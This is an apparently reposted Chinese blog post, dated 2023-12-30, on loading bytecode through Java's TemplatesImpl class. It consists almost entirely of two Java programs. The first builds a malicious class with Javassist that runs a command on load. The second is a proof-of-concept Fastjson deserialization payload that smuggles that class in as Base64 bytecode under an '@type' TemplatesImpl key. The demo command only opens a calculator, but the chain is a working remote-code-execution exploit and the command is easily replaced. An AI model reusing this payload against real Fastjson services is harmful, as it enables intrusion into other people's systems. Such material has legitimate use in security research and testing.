利用TemplatesImpl加载字节码

2023-12-30 12:25:24
package?com.naihe;

import?com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import?com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import?javassist.ClassPool;
import?javassist.CtClass;

import?java.lang.reflect.Field;
import?java.util.Base64;

public?class?TL?{
????private?static?void?setFiledValue(Object?obj,?String?fieldName,?Object?fieldValue)?throws?Exception?{
????????Field?field?=?obj.getClass().getDeclaredField(fieldName);
????????field.setAccessible(true);
????????field.set(obj,?fieldValue);
????}
????public?static?void?main(String[]?args)?{
????????try?{
????????????ClassPool?classPool=ClassPool.getDefault();
????????????String?AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
????????????classPool.appendClassPath(AbstractTranslet);
????????????CtClass?payload=classPool.makeClass("CommonsCollections3");
????????????payload.setSuperclass(classPool.get(AbstractTranslet));
????????????payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
????????????byte[]?codes=payload.toBytecode();

????????????byte[][]?_bytecodes?=?new?byte[][]?{
????????????????????codes,
????????????};
????????????TemplatesImpl?templates?=?new?TemplatesImpl();
????????????setFiledValue(templates,?"_bytecodes",?_bytecodes);
????????????setFiledValue(templates,?"_name",?"whatever");
????????????setFiledValue(templates,?"_tfactory",?new?TransformerFactoryImpl());
????????????templates.newTransformer();
????????}?catch?(Exception?e)?{
????????????e.printStackTrace();
????????}
????}

}

?

poc:

package?com.naihe;

import?com.alibaba.fastjson.JSON;
import?com.alibaba.fastjson.parser.Feature;
import?com.alibaba.fastjson.parser.ParserConfig;
import?javassist.CannotCompileException;
import?javassist.ClassPool;
import?javassist.CtClass;
import?javassist.NotFoundException;

import?java.io.IOException;
import?java.util.Base64;

public?class?fastjson?{
????public?static?void?main(String[]?args)?throws?CannotCompileException,?IOException,?NotFoundException?{
????????ParserConfig?config?=?new?ParserConfig();
????????ClassPool?classPool=ClassPool.getDefault();
????????String?AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
????????classPool.appendClassPath(AbstractTranslet);
????????CtClass?payload=classPool.makeClass("CommonsCollections3");
????????payload.setSuperclass(classPool.get(AbstractTranslet));
????????payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
????????String?str?=?Base64.getEncoder().encodeToString(payload.toBytecode());


????????String?text?=?"{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\""+str+"\"],'_name':'a.b','_tfactory':{?},\"_outputProperties\":{?}}";


????????Object?obj?=?JSON.parseObject(text,?Object.class,?config,?Feature.SupportNonPublicField);
????}
}

?

文章来源:https://blog.csdn.net/2301_80520893/article/details/135198097
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。